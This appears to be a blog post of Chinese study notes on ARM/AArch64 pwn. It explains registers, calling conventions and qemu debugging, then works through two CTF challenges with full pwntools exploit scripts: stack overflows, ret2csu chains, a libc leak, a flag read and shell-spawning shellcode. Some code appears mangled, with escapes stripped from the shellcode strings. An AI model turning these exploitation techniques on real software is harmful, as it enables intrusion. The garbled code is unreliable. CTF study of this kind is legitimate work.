异构框架之arm框架的pwn学习笔记

admin 2022年5月10日22:24:09评论74 views字数 10183阅读33分56秒阅读模式

ARM和AARCH64

ARM是32位架构,AARCH64是64位架构。

arrch寄存器和指令集

AArch拥有31个通用寄存器,系统运行在64位状态下的时候名字叫Xn,运行在32位的时候就叫Wn;

AArch32与AArch64寄存器对应关系:

异构框架之arm框架的pwn学习笔记

函数调用约定:

ARM:参数 1~参数 4 分别保存到 R0~R3 寄存器中 ,剩下的参数从右往左依次入栈,被调用者实现栈平衡,返回值存放在 R0 中。

ARM64:参数 1~参数 8 分别保存到 X0~X7 寄存器中 ,剩下的参数从右往左依次入栈,被调用者实现栈平衡,返回值存放在 X0 中。

arm 下的 pc 相当于 eip 或者 rip,保存着下一条要执行的指令的地址

异构框架之arm框架的pwn学习笔记

arm(32位)

跳转指令

跳转指令可以分为两种:

  • 专门的跳转指令,可以实现向前向后32MB的地址跳转
  • 直接修改PC寄存器,通过向PC寄存器写入目的地址,可以实现4GB的地址空间的跳转,结合使用MOV LR, PC,保存函数的返回地址
  1. B:执行一个简单的跳转,目标地址是相对于当前PC值的偏移地址
  2. BL:跳转之前会把PC值存到R14寄存器中,通常用于函数调用
  3. BLX:和上一个指令相比,多的功能是将处理器的工作状态由ARM变成Thumb
  4. BX:可以跳转到ARM指令或者Thumb指令

数据处理指令

可分为数据传送指令、算术逻辑运算运算、比较指令

  1. MOV:和X86是差不多的
  2. MVN:在转移之前先按位取反
  3. CMP:两个寄存器中的值进行比较,不改变寄存器的值,但是更新CPSR标志寄存器
  4. ADD:把后两个寄存器相加,结果存在第一个寄存器中
  5. SUB:把后两个寄存器相减,结果存在第一个寄存器中
  6. AND:逻辑与
  7. ORR:逻辑或
  8. EOR:异或
  9. MUL:把后两个寄存器相乘,结果存在第一个寄存器中

程序状态寄存器处理指令

  1. MRS:用于将程序状态寄存器的内容送到通用寄存器
  2. MSR:将操作数的内容送到程序状态寄存器的特定域

加载存储指令

适用于在寄存器和存储器之间数据的传输

和X86不一样的是mov指令只能够在寄存器之间传送数据

  1. LDR:将一个32位的数据送到寄存器中
  2. LDRB:将一个8位的数据送到寄存器中,并且把高24位清零
  3. LDRH:将一个16位的数据送到寄存器中,并且把高16位清零
  4. STR:从源寄存器32位存入到存储器中,和前几个指令相比是不清零

协处理器指令

  1. CDP:用于ARM处理器通知ARM协处理器来处理特定的操作,若协处理器不能完成,则抛出异常
  2. LDC:让协处理器来将源寄存器的内容送到存储器中,若协处理器不能完成操作,则抛出异常

异常产生指令

  1. SWI:产生软件中断
  2. BKPT:产生软件断点中断

以上总结的是常见的,如果做题遇到不认识的指令,及时添补即可

相关细节

32位寄存器

1、当参数少于4个时,子程序间通过寄存器R0~R3来传递参数;当参数个数多于4个时,将多余的参数通过数据栈进行传递,入栈顺序与参数顺序正好相反,子程序返回前无需恢复R0~R3的值 

2、在子程序中,使用R4~R11保存局部变量,若使用需要入栈保存,子程序返回前需要恢复这些寄存器;R12是临时寄存器,使用不需要保存

3、R13用作数据帧指针,记作SP;R14用作链接寄存器,记作LR,用于保存子程序返回时的地址;R15是程序计数器,记作PC 

4、ATPCS规定堆栈是满递减堆栈FD;

5、子程序返回32位的整数,使用R0返回;返回64位整数时,使用R0返回低位,R1返回高位

64位寄存器

ARM64位参数调用规则遵循AAPCS64,规定堆栈为满递减堆栈。寄存器调用规则如下:

异构框架之arm框架的pwn学习笔记

子程序调用时必须要保存的寄存器:X19~X29和SP(X31) 不需要保存的寄存器:X0~X7,X9~X15

32位与64位的差异

栈arm32下,前4个参数是通过r0~r3传递,第4个参数需要通过sp访问,第5个参数需要通过sp + 4 访问,第n个参数需要通过sp + 4*(n-4)访问。

arm64下,前8个参数是通过x0~x7传递,第8个参数需要通过sp访问,第9个参数需要通过sp + 8 访问,第n个参数需要通过sp + 8*(n-8)访问。

 ARM指令在32位下和在64位下并不是完全一致的,但大部分指令是通用的,特别的,” mov  r2, r1,  lsl #2”仅在ARM32下支持,它等同于ARM64的” lsl r2, r1, #2”

还有一些32位存在的指令在64位下是不存在的,比如vswp指令,条件执行指令subgt,addle等

简单分析

简单地分析一下汇编的逻辑。先看一下伪代码:

__int64 sub_400760()
{
  setvbuf((FILE *)stdin0LL, 20LL);
  setvbuf((FILE *)stdout0LL, 20LL);
  return setvbuf((FILE *)stderr0LL, 20LL);
}

再看看汇编代码

.text:0000000000400760 var_s0          =  0
.text:0000000000400760
.text:0000000000400760                 STP             X29, X30, [SP,#-0x10+var_s0]!
.text:0000000000400764                 MOV             X29, SP
.text:0000000000400768                 ADRL            X0, stdin
.text:0000000000400770                 LDR             X0, [X0] ; stream
.text:0000000000400774                 MOV             X3, #0  ; n
.text:0000000000400778                 MOV             W2, #2  ; modes
.text:000000000040077C                 MOV             X1, #0  ; buf
.text:0000000000400780                 BL              .setvbuf
.text:0000000000400784                 ADRL            X0, stdout
.text:000000000040078C                 LDR             X0, [X0] ; stream
.text:0000000000400790                 MOV             X3, #0  ; n
.text:0000000000400794                 MOV             W2, #2  ; modes
.text:0000000000400798                 MOV             X1, #0  ; buf
.text:000000000040079C                 BL              .setvbuf
.text:00000000004007A0                 ADRL            X0, stderr
.text:00000000004007A8                 LDR             X0, [X0] ; stream
.text:00000000004007AC                 MOV             X3, #0  ; n
.text:00000000004007B0                 MOV             W2, #2  ; modes
.text:00000000004007B4                 MOV             X1, #0  ; buf
.text:00000000004007B8                 BL              .setvbuf
.text:00000000004007BC                 NOP
.text:00000000004007C0                 LDP             X29, X30, [SP+var_s0],#0x10
.text:00000000004007C4                 RET

bl指令是跳转指令,会将下一条指令的地址先放到x30寄存器,再跳转。然后进入我们的函数里,SP-0x10,然后STP将x29、x30寄存器保存在栈上(注意是栈顶)。接下来可以看到前4个参数依次从x0赋值到x3上,然后就是bl跳转函数执行,最后程序返回的时候通过LDP将栈上的值放回x29、x30寄存器上再RET。

gdb+qemu调试

安装共享链接库(32位和64位)

sudo apt-get install libc6-armhf-armel-cross 
sudo apt-get install libc6-armhf-cross
sudo apt install libc6-dbg-arm64-cross

运行(32位和64位)

参数 -L指定共享库的位置
qemu-arm -L /usr/arm-linux-gnueabihf/ ./pwn
qemu-aarch64 -L /usr/aarch64-linux-gnu/ ./pwn

调试(32位和64位)

qemu-arm -g 1234 -L /usr/arm-linux-gnueabihf/ ./pwn
qemu-aarch64 -g 1234 -L /usr/aarch64-linux-gnu/ ./pwn
gdb-multiarch ./pwn
pwndbg> target remote 127.0.0.1:1234

shanghai2018_baby_arm

异构框架之arm框架的pwn学习笔记

简单栈溢出

直接写入shellcode到bss段上,然后用mprotect改bss可执行就行了用ret2csu来写,布置好参数就行,原理和之前学的ret2csu的道理一样的

异构框架之arm框架的pwn学习笔记

exp(原)

#coding=utf-8
from pwn import *
context(log_level='debug',arch='aarch64')
context.terminal = ['terminator','-x','sh','-c']
binary='./pwn'
main_arena = 0x3ebc40
s = lambda buf: io.send(buf)
sl = lambda buf: io.sendline(buf)
sa = lambda delim, buf: io.sendafter(delim, buf)
sal = lambda delim, buf: io.sendlineafter(delim, buf)
shell = lambda: io.interactive()
r = lambda n=None: io.recv(n)
ra = lambda t=tube.forever:io.recvall(t)
ru = lambda delim: io.recvuntil(delim)
rl = lambda: io.recvline()
rls = lambda n=2**20: io.recvlines(n)
su = lambda buf,addr:io.success(buf+"==>"+hex(addr))
local = 0
if local == 1:
    io=process(argv=['qemu-aarch64','-g','1234','-L','/usr/aarch64-linux-gnu/','pwn'])
else:
    io=remote('node4.buuoj.cn',25630)
e=ELF(binary)
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
one_gadget = [0x45226,0x4527a,0xf03a4,0xf1247]
ru('Name:')

#shellcode = asm(shellcraft.aarch64.linux.sh())
shellcode = "x01x30x8fxe2x13xffx2fxe1x78x46x0ex30x01x90x49x1ax92x1ax08x27xc2x51x03x37x01xdfx2fx62x69x6ex2fx2fx73x68"
pay = shellcode.ljust(0x100,b'')+p64(0x4007C8)
s(pay.ljust(0x200,b''))
def func(func_got,a1,a2,a3,ret):
 pay = b'a'*0x40+p64(0)+p64(0x4008CC)+p64(0)+p64(0x4008AC)+p64(0)+p64(1)+p64(func_got)+p64(a3)+p64(a2)+p64(a1)+p64(0)+p64(ret)
 return pay
pay = func(0x411168,0x400000,0x1000,7,0x411068)
sl(pay)
shell()

但是拿不到shell,调试发现mprotect函数执行后段的权限没有改变,然后尝试orw拿到了flag

exp(改)

#coding=utf-8
from pwn import *
context(log_level='debug',arch='aarch64')
context.terminal = ['terminator','-x','sh','-c']
binary='./pwn'
main_arena = 0x3ebc40
s = lambda buf: io.send(buf)
sl = lambda buf: io.sendline(buf)
sa = lambda delim, buf: io.sendafter(delim, buf)
sal = lambda delim, buf: io.sendlineafter(delim, buf)
shell = lambda: io.interactive()
r = lambda n=None: io.recv(n)
ra = lambda t=tube.forever:io.recvall(t)
ru = lambda delim: io.recvuntil(delim)
rl = lambda: io.recvline()
rls = lambda n=2**20: io.recvlines(n)
su = lambda buf,addr:io.success(buf+"==>"+hex(addr))
local = 0
if local == 1:
    #io=process(argv=['qemu-aarch64','-L','/usr/aarch64-linux-gnu/','pwn'])
    io=process(argv=['qemu-aarch64','-g','1234','-L','/usr/aarch64-linux-gnu/','pwn'])
else:
    io=remote('node4.buuoj.cn',26300)
e=ELF(binary)
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
one_gadget = [0x45226,0x4527a,0xf03a4,0xf1247]
ru('Name:')
libc= ELF('libc.so_2.6')
#libc= ELF('/usr/aarch64-linux-gnu/lib/libc.so.6')
#shellcode = asm(shellcraft.aarch64.linux.sh())
shellcode = "x01x30x8fxe2x13xffx2fxe1x78x46x0ex30x01x90x49x1ax92x1ax08x27xc2x51x03x37x01xdfx2fx62x69x6ex2fx2fx73x68"
with open('shell','rb'as fd:
 shellcode=fd.read()

pay = shellcode.ljust(0x100,b'')+p64(0x4007C8)
s(pay.ljust(0x200,b''))
def func(func_got,a1,a2,a3,ret):
 pay = b'a'*0x40+p64(0)+p64(0x4008CC)+p64(0)+p64(0x4008AC)+p64(0)+p64(1)+p64(func_got)+p64(a3)+p64(a2)+p64(a1)+p64(0)+p64(ret)
 return pay
pay = func(e.got['write'],1,e.got['write'],8,0x400818)
sl(pay)
libc_base = u64(r(8))-libc.sym['write']
su('libc_base',libc_base)
ru('Name:')
pay = p64(libc_base+libc.sym['open'])+b'flag'
s(pay.ljust(0x200,b''))
pay = func(0x411068,0x411070,0,0,0x400818)
s(pay)
ru('Name:')

s(b'a'*0x200)
pay = func(e.got['read'],3,0x411068+0x300,0x30,0x400818)
s(pay)
ru('Name:')

s(b'a'*0x200)
pay = func(e.got['write'],1,0x411068+0x300,0x30,0x400818)
s(pay)
shell()

inctf2018_wARMup

异构框架之arm框架的pwn学习笔记

直接是栈溢出,然后保护如下

异构框架之arm框架的pwn学习笔记

注意这里开了nx但是bss段还是有执行权限的,这个有一点奇怪,然后这里试了下ret2csu

异构框架之arm框架的pwn学习笔记

控制前3个参数然后跳回到main函数里

exp

#coding=utf-8
from pwn import *
context(log_level='debug',arch='arm')
context.terminal = ['terminator','-x','sh','-c']
binary='./wARMup'
main_arena = 0x3ebc40
s = lambda buf: io.send(buf)
sl = lambda buf: io.sendline(buf)
sa = lambda delim, buf: io.sendafter(delim, buf)
sal = lambda delim, buf: io.sendlineafter(delim, buf)
shell = lambda: io.interactive()
r = lambda n=None: io.recv(n)
ra = lambda t=tube.forever:io.recvall(t)
ru = lambda delim: io.recvuntil(delim)
rl = lambda: io.recvline()
rls = lambda n=2**20: io.recvlines(n)
su = lambda buf,addr:io.success(buf+"==>"+hex(addr))
local = 0
if local == 1:
    #io=process(argv=['qemu-arm','./wARMup'])
    io=process(argv=['qemu-arm','-g','1234','-L','.','./wARMup'])
else:
    io=remote('node4.buuoj.cn',25175)
e=ELF(binary)
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
one_gadget = [0x45226,0x4527a,0xf03a4,0xf1247]
ru('Welcome to bi0s CTF!n')
pay = b'a'*0x64+p32(e.bss()+0x100)+p32(0x1052C)
s(pay.ljust(0x78,b'a'))
'''
.text:0001058C loc_1058C                               ; CODE XREF: __libc_csu_init+50↓j
.text:0001058C                 ADD     R4, R4, #1
.text:00010590                 LDR     R3, [R5],#4
.text:00010594                 MOV     R2, R9
.text:00010598                 MOV     R1, R8
.text:0001059C                 MOV     R0, R7
.text:000105A0                 BLX     R3
.text:000105A4                 CMP     R6, R4
.text:000105A8                 BNE     loc_1058C
.text:000105AC                 POP     {R4-R10,PC}

.text:00010400 off_10400       DCD __libc_csu_fini     ; DATA XREF: _start+18↑r

.text:000105B8                 EXPORT __libc_csu_fini
.text:000105B8 __libc_csu_fini                         ; DATA XREF: _start+18↑o
.text:000105B8                                         ; .text:off_10400↑o
.text:000105B8                 BX      LR
'''

def func(r0,r1,r2,func_got,ret):
 pay=p32(0x000105AC)+p32(0)+p32(func_got)+p32(1)+p32(r0)+p32(r1)+p32(r2)+p32(0)+p32(0x0001058C)+b'a'*28+p32(ret)
 return pay
main=0x00010524
pay = p32(e.bss()+0x100)+func(1,1,1,0x10400,main)
pay = pay.ljust(0x64,b'a')+p32(e.bss()+0x100-0x68+4)+p32(0x00010548)
'''
.text:00010548                 SUB     SP, R11, #4
.text:0001054C                 POP     {R11,PC}
'''

s(pay.ljust(0x78,b'a'))

shellcode = "x01x30x8fxe2x13xffx2fxe1x78x46x0ex30x01x90x49x1ax92x1ax08x27xc2x51x03x37x01xdfx2fx62x69x6ex2fx2fx73x68"#asm(shellcraft.arm.linux.sh(),arch='arm')
ru('Welcome to bi0s CTF!n')
pay = shellcode.ljust(0x64,b'a')+p32(e.bss()+0x100)+p32(e.bss()+0x100-0x68)
s(pay)
shell()

参考博客:

https://blog.csdn.net/seaaseesa/article/details/105281585

https://blog.csdn.net/tanli20090506/article/details/71487570


原文始发于微信公众号(火炬木攻防实验室):异构框架之arm框架的pwn学习笔记

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年5月10日22:24:09
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   异构框架之arm框架的pwn学习笔记http://cn-sec.com/archives/995306.html

发表评论

匿名网友 填写信息